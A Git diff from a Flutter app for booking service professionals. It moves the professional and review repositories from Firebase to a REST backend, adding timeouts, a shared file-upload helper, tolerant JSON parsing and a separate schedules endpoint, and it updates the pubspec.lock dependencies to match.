||||
case LocationPreferences.both:
|
||||
return 'both';
|
||||
case LocationPreferences.office:
|
||||
return 'office';
|
||||
}
|
||||
}
|
||||
|
||||
+140
-55
@@ -1,5 +1,6 @@
|
||||
import 'dart:async';
|
||||
import 'dart:convert';
|
||||
import 'dart:developer';
|
||||
import 'package:http/http.dart' as http;
|
||||
import 'package:shared_preferences/shared_preferences.dart';
|
||||
import 'package:professional_repository/professional_repository.dart';
|
||||
@@ -19,6 +20,8 @@ class ApiProfessionalRepository {
|
||||
|
||||
String? _token;
|
||||
|
||||
static const _timeout = Duration(seconds: 20);
|
||||
|
||||
ApiProfessionalRepository() {
|
||||
_isProModeActiveBroadcast.add(isProModeActive);
|
||||
}
|
||||
@@ -38,19 +41,72 @@ class ApiProfessionalRepository {
|
||||
}
|
||||
|
||||
Future<dynamic> _get(String path) async {
|
||||
final res = await http.get(Uri.parse('$_base$path'), headers: await _headers());
|
||||
final res = await http
|
||||
.get(Uri.parse('$_base$path'), headers: await _headers())
|
||||
.timeout(_timeout);
|
||||
return jsonDecode(res.body);
|
||||
}
|
||||
|
||||
Future<dynamic> _patch(String path, Map<String, dynamic> body) async {
|
||||
final res = await http.patch(
|
||||
final res = await http
|
||||
.patch(
|
||||
Uri.parse('$_base$path'),
|
||||
headers: await _headers(),
|
||||
body: jsonEncode(body),
|
||||
);
|
||||
)
|
||||
.timeout(_timeout);
|
||||
if (res.statusCode >= 400) {
|
||||
throw Exception('No se pudo guardar la información (${res.statusCode})');
|
||||
}
|
||||
return jsonDecode(res.body);
|
||||
}
|
||||
|
||||
/// Uploads [file] to storage and returns its public URL.
|
||||
/// Throws when the upload fails, so callers never treat a failure as success.
|
||||
Future<String> _uploadFile(String file) async {
|
||||
final token = await _getToken();
|
||||
final req =
|
||||
http.MultipartRequest('POST', Uri.parse('$_base/storage/upload'));
|
||||
if (token != null) req.headers['Authorization'] = 'Bearer $token';
|
||||
req.files.add(await http.MultipartFile.fromPath('file', file));
|
||||
final streamed = await req.send().timeout(const Duration(seconds: 60));
|
||||
final res = await http.Response.fromStream(streamed);
|
||||
if (res.statusCode >= 400) {
|
||||
throw Exception('No se pudo subir el archivo (${res.statusCode})');
|
||||
}
|
||||
final body = jsonDecode(res.body) as Map<String, dynamic>;
|
||||
final url = body['url']?.toString();
|
||||
if (url == null || url.isEmpty) {
|
||||
throw Exception('El servidor no devolvió la URL del archivo');
|
||||
}
|
||||
return url;
|
||||
}
|
||||
|
||||
Future<void> _delete(String path) async {
|
||||
final res = await http
|
||||
.delete(Uri.parse('$_base$path'), headers: await _headers())
|
||||
.timeout(_timeout);
|
||||
if (res.statusCode >= 400) {
|
||||
throw Exception('Error al reiniciar la solicitud (${res.statusCode})');
|
||||
}
|
||||
}
|
||||
|
||||
Future<void> deleteProfessionalInfo() => _delete('/professionals/me');
|
||||
|
||||
/// Saves only the weekly opening hours.
|
||||
///
|
||||
/// Lets the schedule editor persist on its own instead of handing the object
|
||||
/// back and hoping the profile screen gets saved afterwards, and keeps it
|
||||
/// from overwriting address, rate or payment methods along the way.
|
||||
Future<void> updateSchedules(Schedules schedules) async {
|
||||
await _patch('/professionals/me/schedules', {
|
||||
'schedules': schedules.toSchedulesArray(),
|
||||
});
|
||||
if (_proInfo != null) {
|
||||
await updateFromFirebase(userId: _proInfo!.id);
|
||||
}
|
||||
}
|
||||
|
||||
ProfessionalEntity? lastProInfo() => _proInfo;
|
||||
|
||||
Stream<ProfessionalEntity?> streamProInfo() => _proInfoBroadcast.stream;
|
||||
@@ -62,34 +118,63 @@ class ApiProfessionalRepository {
|
||||
_isProModeActiveBroadcast.add(isProModeActive);
|
||||
}
|
||||
|
||||
/// The backend sends `location_preferences` as a string ('office' |
|
||||
/// 'delivery' | 'both'); older payloads used the enum index.
|
||||
LocationPreferences _locationPrefsFromValue(dynamic v) {
|
||||
if (v is num) return intToEnum(v.toInt());
|
||||
if (v is String) {
|
||||
switch (v) {
|
||||
case 'delivery':
|
||||
return LocationPreferences.delivery;
|
||||
case 'both':
|
||||
return LocationPreferences.both;
|
||||
default:
|
||||
return LocationPreferences.office;
|
||||
}
|
||||
}
|
||||
return LocationPreferences.office;
|
||||
}
|
||||
|
||||
/// The backend sends `schedules` as an array of rows keyed by
|
||||
/// `day_of_week` (0 = Monday … 6 = Sunday), not as a map of day names.
|
||||
Schedules _schedulesFromApi(dynamic raw) => Schedules.fromApiArray(raw);
|
||||
|
||||
ProfessionalEntity _fromApi(Map<String, dynamic> json) {
|
||||
return ProfessionalEntity(
|
||||
id: json['user_id']?.toString() ?? json['id']?.toString() ?? '',
|
||||
identification: json['identification']?.toString() ?? '',
|
||||
address: json['address']?.toString() ?? '',
|
||||
aditionalAddress: json['aditional_address']?.toString() ?? '',
|
||||
aditionalAddress: (json['additional_address'] ?? json['aditional_address'])
|
||||
?.toString() ??
|
||||
'',
|
||||
profession: json['profession']?.toString() ?? '',
|
||||
ratePreferences: json['rate_preferences'] as bool? ?? false,
|
||||
rate: json['rate']?.toString() ?? '',
|
||||
locationPreferences: intToEnum((json['location_preferences'] as num?)?.toInt() ?? 0),
|
||||
locationPreferences:
|
||||
_locationPrefsFromValue(json['location_preferences']),
|
||||
bannerPicture: json['banner_picture']?.toString() ?? '',
|
||||
identificationPicture: json['identification_picture']?.toString() ?? '',
|
||||
certificatePicture: json['certificate_picture']?.toString() ?? '',
|
||||
latitude: double.tryParse(json['latitude']?.toString() ?? '0') ?? 0.0,
|
||||
longitude: double.tryParse(json['longitude']?.toString() ?? '0') ?? 0.0,
|
||||
specializations: json['specializations'] != null
|
||||
? List<String>.from(json['specializations'])
|
||||
: [],
|
||||
specializationsPictures: json['specializations_pictures'] != null
|
||||
? List<String>.from(json['specializations_pictures'])
|
||||
: [],
|
||||
schedules: json['schedules'] != null
|
||||
? Schedules.fromDocument(json['schedules'] as Map<String, dynamic>)
|
||||
: Schedules.empty,
|
||||
specializations: json['specializations'] is List
|
||||
? (json['specializations'] as List)
|
||||
.map((e) => e.toString())
|
||||
.toList()
|
||||
: <String>[],
|
||||
specializationsPictures: json['specializations_pictures'] is List
|
||||
? (json['specializations_pictures'] as List)
|
||||
.map((e) => e.toString())
|
||||
.toList()
|
||||
: <String>[],
|
||||
schedules: _schedulesFromApi(json['schedules']),
|
||||
paymentMethods: json['payment_methods'] != null
|
||||
? PaymentMethodEntity.fromDocument(
|
||||
json['payment_methods'] as Map<String, dynamic>)
|
||||
: PaymentMethodEntity.empty,
|
||||
slotDurationMinutes:
|
||||
(json['slot_duration_minutes'] as num?)?.toInt() ?? 120,
|
||||
recordId: json['id']?.toString() ?? '',
|
||||
);
|
||||
}
|
||||
|
||||
@@ -109,7 +194,9 @@ class ApiProfessionalRepository {
|
||||
final data = await _get('/professionals/$myUserId');
|
||||
if (data == null) return null;
|
||||
return _fromApi(data as Map<String, dynamic>);
|
||||
} catch (_) {
|
||||
} catch (e) {
|
||||
// Logged because a silent null here surfaces as an endless spinner.
|
||||
log('getProInfo($myUserId) failed: $e');
|
||||
return null;
|
||||
}
|
||||
}
|
||||
@@ -123,18 +210,26 @@ class ApiProfessionalRepository {
|
||||
double latitude,
|
||||
double longitude,
|
||||
Schedules schedules,
|
||||
PaymentMethodEntity paymentMethods,
|
||||
) async {
|
||||
PaymentMethodEntity paymentMethods, {
|
||||
int slotDurationMinutes = 120,
|
||||
}) async {
|
||||
// Two calls on purpose: /professionals/me ignores a `schedules` key
|
||||
// (returns 200 and drops it), and the schedules endpoint takes the array
|
||||
// form. Sending them together is what made saving opening hours a no-op.
|
||||
await _patch('/professionals/me', {
|
||||
'address': address,
|
||||
'aditional_address': aditionalAddress,
|
||||
'rate_preferences': ratePreferences,
|
||||
'rate': rate,
|
||||
'location_preferences': enumToInt(locationPreferences),
|
||||
'location_preferences': enumToString(locationPreferences),
|
||||
'latitude': latitude,
|
||||
'longitude': longitude,
|
||||
'schedules': schedules.toJson(),
|
||||
'payment_methods': paymentMethods.toDocument(),
|
||||
'slot_duration_minutes': slotDurationMinutes,
|
||||
});
|
||||
|
||||
await _patch('/professionals/me/schedules', {
|
||||
'schedules': schedules.toSchedulesArray(),
|
||||
});
|
||||
|
||||
if (_proInfo != null) {
|
||||
@@ -147,51 +242,21 @@ class ApiProfessionalRepository {
|
||||
}
|
||||
|
||||
Future<void> uploadBannerPicture(String file) async {
|
||||
final token = await _getToken();
|
||||
final req = http.MultipartRequest('POST', Uri.parse('$_base/storage/upload'));
|
||||
if (token != null) req.headers['Authorization'] = 'Bearer $token';
|
||||
req.files.add(await http.MultipartFile.fromPath('file', file));
|
||||
final streamed = await req.send();
|
||||
final res = await http.Response.fromStream(streamed);
|
||||
final body = jsonDecode(res.body) as Map<String, dynamic>;
|
||||
final url = body['url'] as String;
|
||||
final url = await _uploadFile(file);
|
||||
await _patch('/professionals/me', {'banner_picture': url});
|
||||
}
|
||||
|
||||
Future<String> uploadPdfCedula(String file, String userId) async {
|
||||
final token = await _getToken();
|
||||
final req = http.MultipartRequest('POST', Uri.parse('$_base/storage/upload'));
|
||||
if (token != null) req.headers['Authorization'] = 'Bearer $token';
|
||||
req.files.add(await http.MultipartFile.fromPath('file', file));
|
||||
final streamed = await req.send();
|
||||
final res = await http.Response.fromStream(streamed);
|
||||
final body = jsonDecode(res.body) as Map<String, dynamic>;
|
||||
return body['url'] as String;
|
||||
}
|
||||
Future<String> uploadPdfCedula(String file, String userId) =>
|
||||
_uploadFile(file);
|
||||
|
||||
Future<String> uploadPdfCertificado(String file, String userId) async {
|
||||
final token = await _getToken();
|
||||
final req = http.MultipartRequest('POST', Uri.parse('$_base/storage/upload'));
|
||||
if (token != null) req.headers['Authorization'] = 'Bearer $token';
|
||||
req.files.add(await http.MultipartFile.fromPath('file', file));
|
||||
final streamed = await req.send();
|
||||
final res = await http.Response.fromStream(streamed);
|
||||
final body = jsonDecode(res.body) as Map<String, dynamic>;
|
||||
return body['url'] as String;
|
||||
}
|
||||
Future<String> uploadPdfCertificado(String file, String userId) =>
|
||||
_uploadFile(file);
|
||||
|
||||
Future<List<String>> uploadPdfsEspecializaciones(
|
||||
List<String> files, String userId) async {
|
||||
final List<String> urls = [];
|
||||
for (final file in files) {
|
||||
final token = await _getToken();
|
||||
final req = http.MultipartRequest('POST', Uri.parse('$_base/storage/upload'));
|
||||
if (token != null) req.headers['Authorization'] = 'Bearer $token';
|
||||
req.files.add(await http.MultipartFile.fromPath('file', file));
|
||||
final streamed = await req.send();
|
||||
final res = await http.Response.fromStream(streamed);
|
||||
final body = jsonDecode(res.body) as Map<String, dynamic>;
|
||||
urls.add(body['url'] as String);
|
||||
urls.add(await _uploadFile(file));
|
||||
}
|
||||
return urls;
|
||||
}
|
||||
@@ -206,6 +271,26 @@ class ApiProfessionalRepository {
|
||||
}
|
||||
}
|
||||
|
||||
Future<List<ProfessionalEntity>> searchProfessionals({
|
||||
String? search,
|
||||
String? city,
|
||||
double? lat,
|
||||
double? lng,
|
||||
}) async {
|
||||
final params = <String, String>{};
|
||||
if (search != null && search.isNotEmpty) params['search'] = search;
|
||||
if (city != null && city.isNotEmpty) params['city'] = city;
|
||||
if (lat != null) params['lat'] = lat.toString();
|
||||
if (lng != null) params['lng'] = lng.toString();
|
||||
|
||||
final uri = Uri.parse('$_base/professionals')
|
||||
.replace(queryParameters: params.isEmpty ? null : params);
|
||||
final res = await http.get(uri, headers: await _headers());
|
||||
final body = jsonDecode(res.body);
|
||||
final List raw = body is Map ? (body['data'] as List? ?? []) : (body as List? ?? []);
|
||||
return raw.map((e) => _fromApi(e as Map<String, dynamic>)).toList();
|
||||
}
|
||||
|
||||
Future<List<ProfessionalEntity>> getProfessionalsFromIds(
|
||||
Iterable<String> ids) async {
|
||||
final result = <ProfessionalEntity>[];
|
||||
|
||||
@@ -1,14 +1,6 @@
|
||||
# Generated by pub
|
||||
# See https://dart.dev/tools/pub/glossary#lockfile
|
||||
packages:
|
||||
_flutterfire_internals:
|
||||
dependency: transitive
|
||||
description:
|
||||
name: _flutterfire_internals
|
||||
sha256: "4eec93681221723a686ad580c2e7d960e1017cf1a4e0a263c2573c2c6b0bf5cd"
|
||||
url: "https://pub.dev"
|
||||
source: hosted
|
||||
version: "1.3.25"
|
||||
async:
|
||||
dependency: transitive
|
||||
description:
|
||||
@@ -41,30 +33,6 @@ packages:
|
||||
url: "https://pub.dev"
|
||||
source: hosted
|
||||
version: "1.1.1"
|
||||
cloud_firestore:
|
||||
dependency: "direct main"
|
||||
description:
|
||||
name: cloud_firestore
|
||||
sha256: "31cfa4d65d6e9ea837234fffe121304034c30c9214c06207b4a35867e3757900"
|
||||
url: "https://pub.dev"
|
||||
source: hosted
|
||||
version: "4.15.8"
|
||||
cloud_firestore_platform_interface:
|
||||
dependency: transitive
|
||||
description:
|
||||
name: cloud_firestore_platform_interface
|
||||
sha256: a0097a26569b015faf8142e159e855241609ea9a1738b5fd1c40bfe8411b41a0
|
||||
url: "https://pub.dev"
|
||||
source: hosted
|
||||
version: "6.1.9"
|
||||
cloud_firestore_web:
|
||||
dependency: transitive
|
||||
description:
|
||||
name: cloud_firestore_web
|
||||
sha256: ed680ece29a5750985119c09cdc276b460c3a2fa80e8c12f9b7241f6b4a7ca16
|
||||
url: "https://pub.dev"
|
||||
source: hosted
|
||||
version: "3.10.8"
|
||||
collection:
|
||||
dependency: transitive
|
||||
description:
|
||||
@@ -89,78 +57,22 @@ packages:
|
||||
url: "https://pub.dev"
|
||||
source: hosted
|
||||
version: "1.3.1"
|
||||
firebase_auth:
|
||||
dependency: "direct main"
|
||||
description:
|
||||
name: firebase_auth
|
||||
sha256: "17b841e1b000c3441b8ffceca88f468e078d0443db9643e77541bdfb7a3fd16b"
|
||||
url: "https://pub.dev"
|
||||
source: hosted
|
||||
version: "4.17.8"
|
||||
firebase_auth_platform_interface:
|
||||
ffi:
|
||||
dependency: transitive
|
||||
description:
|
||||
name: firebase_auth_platform_interface
|
||||
sha256: f294ceef40409a36c819a14280ca864fe487b44033e5276443377c66cb448310
|
||||
name: ffi
|
||||
sha256: "16ed7b077ef01ad6170a3d0c57caa4a112a38d7a2ed5602e0aca9ca6f3d98da6"
|
||||
url: "https://pub.dev"
|
||||
source: hosted
|
||||
version: "7.1.8"
|
||||
firebase_auth_web:
|
||||
version: "2.1.3"
|
||||
file:
|
||||
dependency: transitive
|
||||
description:
|
||||
name: firebase_auth_web
|
||||
sha256: "1f231da900fe7ff9f2974f8adcbdb3363c410c24725978afa5dc33e1e7e62e06"
|
||||
name: file
|
||||
sha256: a3b4f84adafef897088c160faf7dfffb7696046cb13ae90b508c2cbc95d3b8d4
|
||||
url: "https://pub.dev"
|
||||
source: hosted
|
||||
version: "5.9.8"
|
||||
firebase_core:
|
||||
dependency: "direct main"
|
||||
description:
|
||||
name: firebase_core
|
||||
sha256: "53316975310c8af75a96e365f9fccb67d1c544ef0acdbf0d88bbe30eedd1c4f9"
|
||||
url: "https://pub.dev"
|
||||
source: hosted
|
||||
version: "2.27.0"
|
||||
firebase_core_platform_interface:
|
||||
dependency: transitive
|
||||
description:
|
||||
name: firebase_core_platform_interface
|
||||
sha256: c437ae5d17e6b5cc7981cf6fd458a5db4d12979905f9aafd1fea930428a9fe63
|
||||
url: "https://pub.dev"
|
||||
source: hosted
|
||||
version: "5.0.0"
|
||||
firebase_core_web:
|
||||
dependency: transitive
|
||||
description:
|
||||
name: firebase_core_web
|
||||
sha256: c8e1d59385eee98de63c92f961d2a7062c5d9a65e7f45bdc7f1b0b205aab2492
|
||||
url: "https://pub.dev"
|
||||
source: hosted
|
||||
version: "2.11.5"
|
||||
firebase_storage:
|
||||
dependency: "direct main"
|
||||
description:
|
||||
name: firebase_storage
|
||||
sha256: ce1b0efe8dc111058c5f079b2f2ce84906d030d0fd2eef70c42ca1253c67039a
|
||||
url: "https://pub.dev"
|
||||
source: hosted
|
||||
version: "11.6.9"
|
||||
firebase_storage_platform_interface:
|
||||
dependency: transitive
|
||||
description:
|
||||
name: firebase_storage_platform_interface
|
||||
sha256: "4a2b64d4dac096390a0b7f2e7b6d086d0546c4a1bf7ee3fc4b5ae4cc41005c46"
|
||||
url: "https://pub.dev"
|
||||
source: hosted
|
||||
version: "5.1.12"
|
||||
firebase_storage_web:
|
||||
dependency: transitive
|
||||
description:
|
||||
name: firebase_storage_web
|
||||
sha256: "4153814db8d59138e816d9f016736e4095c45675a2c18f2868d11ffd8cc6a4ca"
|
||||
url: "https://pub.dev"
|
||||
source: hosted
|
||||
version: "3.7.3"
|
||||
version: "7.0.1"
|
||||
flutter:
|
||||
dependency: "direct main"
|
||||
description: flutter
|
||||
@@ -185,7 +97,7 @@ packages:
|
||||
source: sdk
|
||||
version: "0.0.0"
|
||||
http:
|
||||
dependency: transitive
|
||||
dependency: "direct main"
|
||||
description:
|
||||
name: http
|
||||
sha256: a2bbf9d017fcced29139daa8ed2bba4ece450ab222871df93ca9eec6f80c34ba
|
||||
@@ -204,34 +116,26 @@ packages:
|
||||
dependency: "direct main"
|
||||
description:
|
||||
name: intl
|
||||
sha256: "3bc132a9dbce73a7e4a21a17d06e1878839ffbf975568bc875c60537824b0c4d"
|
||||
sha256: d6f56758b7d3014a48af9701c085700aac781a92a87a62b1333b46d8879661cf
|
||||
url: "https://pub.dev"
|
||||
source: hosted
|
||||
version: "0.18.1"
|
||||
js:
|
||||
dependency: transitive
|
||||
description:
|
||||
name: js
|
||||
sha256: f2c445dce49627136094980615a031419f7f3eb393237e4ecd97ac15dea343f3
|
||||
url: "https://pub.dev"
|
||||
source: hosted
|
||||
version: "0.6.7"
|
||||
version: "0.19.0"
|
||||
leak_tracker:
|
||||
dependency: transitive
|
||||
description:
|
||||
name: leak_tracker
|
||||
sha256: "7f0df31977cb2c0b88585095d168e689669a2cc9b97c309665e3386f3e9d341a"
|
||||
sha256: "3f87a60e8c63aecc975dda1ceedbc8f24de75f09e4856ea27daf8958f2f0ce05"
|
||||
url: "https://pub.dev"
|
||||
source: hosted
|
||||
version: "10.0.4"
|
||||
version: "10.0.5"
|
||||
leak_tracker_flutter_testing:
|
||||
dependency: transitive
|
||||
description:
|
||||
name: leak_tracker_flutter_testing
|
||||
sha256: "06e98f569d004c1315b991ded39924b21af84cf14cc94791b8aea337d25b57f8"
|
||||
sha256: "932549fb305594d82d7183ecd9fa93463e9914e1b67cacc34bc40906594a1806"
|
||||
url: "https://pub.dev"
|
||||
source: hosted
|
||||
version: "3.0.3"
|
||||
version: "3.0.5"
|
||||
leak_tracker_testing:
|
||||
dependency: transitive
|
||||
description:
|
||||
@@ -260,18 +164,18 @@ packages:
|
||||
dependency: transitive
|
||||
description:
|
||||
name: material_color_utilities
|
||||
sha256: "0e0a020085b65b6083975e499759762399b4475f766c21668c4ecca34ea74e5a"
|
||||
sha256: f7142bb1154231d7ea5f96bc7bde4bda2a0945d2806bb11670e30b850d56bdec
|
||||
url: "https://pub.dev"
|
||||
source: hosted
|
||||
version: "0.8.0"
|
||||
version: "0.11.1"
|
||||
meta:
|
||||
dependency: transitive
|
||||
description:
|
||||
name: meta
|
||||
sha256: "7687075e408b093f36e6bbf6c91878cc0d4cd10f409506f7bc996f68220b9136"
|
||||
sha256: bdb68674043280c3428e9ec998512fb681678676b3c54e773629ffe74419f8c7
|
||||
url: "https://pub.dev"
|
||||
source: hosted
|
||||
version: "1.12.0"
|
||||
version: "1.15.0"
|
||||
path:
|
||||
dependency: transitive
|
||||
description:
|
||||
@@ -280,6 +184,38 @@ packages:
|
||||
url: "https://pub.dev"
|
||||
source: hosted
|
||||
version: "1.9.0"
|
||||
path_provider_linux:
|
||||
dependency: transitive
|
||||
description:
|
||||
name: path_provider_linux
|
||||
sha256: f7a1fe3a634fe7734c8d3f2766ad746ae2a2884abe22e241a8b301bf5cac3279
|
||||
url: "https://pub.dev"
|
||||
source: hosted
|
||||
version: "2.2.1"
|
||||
path_provider_platform_interface:
|
||||
dependency: transitive
|
||||
description:
|
||||
name: path_provider_platform_interface
|
||||
sha256: "88f5779f72ba699763fa3a3b06aa4bf6de76c8e5de842cf6f29e2e06476c2334"
|
||||
url: "https://pub.dev"
|
||||
source: hosted
|
||||
version: "2.1.2"
|
||||
path_provider_windows:
|
||||
dependency: transitive
|
||||
description:
|
||||
name: path_provider_windows
|
||||
sha256: bd6f00dbd873bfb70d0761682da2b3a2c2fccc2b9e84c495821639601d81afe7
|
||||
url: "https://pub.dev"
|
||||
source: hosted
|
||||
version: "2.3.0"
|
||||
platform:
|
||||
dependency: transitive
|
||||
description:
|
||||
name: platform
|
||||
sha256: "5d6b1b0036a5f331ebc77c850ebc8506cbc1e9416c27e59b439f917a902a4984"
|
||||
url: "https://pub.dev"
|
||||
source: hosted
|
||||
version: "3.1.6"
|
||||
plugin_platform_interface:
|
||||
dependency: transitive
|
||||
description:
|
||||
@@ -288,6 +224,62 @@ packages:
|
||||
url: "https://pub.dev"
|
||||
source: hosted
|
||||
version: "2.1.8"
|
||||
shared_preferences:
|
||||
dependency: "direct main"
|
||||
description:
|
||||
name: shared_preferences
|
||||
sha256: d3bbe5553a986e83980916ded2f0b435ef2e1893dfaa29d5a7a790d0eca12180
|
||||
url: "https://pub.dev"
|
||||
source: hosted
|
||||
version: "2.2.3"
|
||||
shared_preferences_android:
|
||||
dependency: transitive
|
||||
description:
|
||||
name: shared_preferences_android
|
||||
sha256: "9f9f3d372d4304723e6136663bb291c0b93f5e4c8a4a6314347f481a33bda2b1"
|
||||
url: "https://pub.dev"
|
||||
source: hosted
|
||||
version: "2.4.7"
|
||||
shared_preferences_foundation:
|
||||
dependency: transitive
|
||||
description:
|
||||
name: shared_preferences_foundation
|
||||
sha256: "6a52cfcdaeac77cad8c97b539ff688ccfc458c007b4db12be584fbe5c0e49e03"
|
||||
url: "https://pub.dev"
|
||||
source: hosted
|
||||
version: "2.5.4"
|
||||
shared_preferences_linux:
|
||||
dependency: transitive
|
||||
description:
|
||||
name: shared_preferences_linux
|
||||
sha256: "580abfd40f415611503cae30adf626e6656dfb2f0cee8f465ece7b6defb40f2f"
|
||||
url: "https://pub.dev"
|
||||
source: hosted
|
||||
version: "2.4.1"
|
||||
shared_preferences_platform_interface:
|
||||
dependency: transitive
|
||||
description:
|
||||
name: shared_preferences_platform_interface
|
||||
sha256: "57cbf196c486bc2cf1f02b85784932c6094376284b3ad5779d1b1c6c6a816b80"
|
||||
url: "https://pub.dev"
|
||||
source: hosted
|
||||
version: "2.4.1"
|
||||
shared_preferences_web:
|
||||
dependency: transitive
|
||||
description:
|
||||
name: shared_preferences_web
|
||||
sha256: "7b15ffb9387ea3e237bb7a66b8a23d2147663d391cafc5c8f37b2e7b4bde5d21"
|
||||
url: "https://pub.dev"
|
||||
source: hosted
|
||||
version: "2.2.2"
|
||||
shared_preferences_windows:
|
||||
dependency: transitive
|
||||
description:
|
||||
name: shared_preferences_windows
|
||||
sha256: "94ef0f72b2d71bc3e700e025db3710911bd51a71cefb65cc609dd0d9a982e3c1"
|
||||
url: "https://pub.dev"
|
||||
source: hosted
|
||||
version: "2.4.1"
|
||||
sky_engine:
|
||||
dependency: transitive
|
||||
description: flutter
|
||||
@@ -337,10 +329,10 @@ packages:
|
||||
dependency: transitive
|
||||
description:
|
||||
name: test_api
|
||||
sha256: "9955ae474176f7ac8ee4e989dadfb411a58c30415bcfb648fa04b2b8a03afa7f"
|
||||
sha256: "5b8a98dafc4d5c4c9c72d8b31ab2b23fc13422348d2997120294d3bac86b4ddb"
|
||||
url: "https://pub.dev"
|
||||
source: hosted
|
||||
version: "0.7.0"
|
||||
version: "0.7.2"
|
||||
typed_data:
|
||||
dependency: transitive
|
||||
description:
|
||||
@@ -361,10 +353,10 @@ packages:
|
||||
dependency: transitive
|
||||
description:
|
||||
name: vm_service
|
||||
sha256: "3923c89304b715fb1eb6423f017651664a03bf5f4b29983627c4da791f74a4ec"
|
||||
sha256: "5c5f338a667b4c644744b661f309fb8080bb94b18a7e91ef1dbd343bed00ed6d"
|
||||
url: "https://pub.dev"
|
||||
source: hosted
|
||||
version: "14.2.1"
|
||||
version: "14.2.5"
|
||||
web:
|
||||
dependency: transitive
|
||||
description:
|
||||
@@ -373,6 +365,14 @@ packages:
|
||||
url: "https://pub.dev"
|
||||
source: hosted
|
||||
version: "0.3.0"
|
||||
xdg_directories:
|
||||
dependency: transitive
|
||||
description:
|
||||
name: xdg_directories
|
||||
sha256: "7a3f37b05d989967cdddcbb571f1ea834867ae2faa29725fd085180e0883aa15"
|
||||
url: "https://pub.dev"
|
||||
source: hosted
|
||||
version: "1.1.0"
|
||||
sdks:
|
||||
dart: ">=3.3.0 <4.0.0"
|
||||
flutter: ">=3.18.0-18.0.pre.54"
|
||||
dart: ">=3.5.0 <4.0.0"
|
||||
flutter: ">=3.24.0"
|
||||
|
||||
@@ -1,5 +1,4 @@
|
||||
library score_repository;
|
||||
|
||||
export 'src/entities/entities.dart';
|
||||
export 'src/repositories/firebase_score_repository.dart';
|
||||
export 'src/repositories/api_score_repository.dart';
|
||||
|
||||
@@ -21,12 +21,16 @@ class CommentEntity extends Equatable {
|
||||
|
||||
static CommentEntity fromDocument(Map<String, dynamic> doc) {
|
||||
return CommentEntity(
|
||||
authorId: doc['author_id'] as String,
|
||||
destinationId: doc['destination_id'] as String,
|
||||
serviceId: doc['service_id'] as String,
|
||||
content: doc['content'] as String,
|
||||
score: doc['score'] as double,
|
||||
isFromUser: doc['is_from_user'] as bool,
|
||||
// Tolerant on purpose: a whole-number score arrives as `5`, and
|
||||
// Postgres numerics can arrive as strings. Hard casts here emptied the
|
||||
// whole review list, which then read as "no reviews yet".
|
||||
authorId: doc['author_id']?.toString() ?? '',
|
||||
destinationId: doc['destination_id']?.toString() ?? '',
|
||||
serviceId: doc['service_id']?.toString() ?? '',
|
||||
content: doc['content']?.toString() ?? '',
|
||||
score: double.tryParse(doc['score']?.toString() ?? '') ?? 0.0,
|
||||
isFromUser: doc['is_from_user'] == true ||
|
||||
doc['is_from_user']?.toString() == 'true',
|
||||
createdAt: doc['created_at']?.toString() ?? DateTime.now().toIso8601String(),
|
||||
);
|
||||
}
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user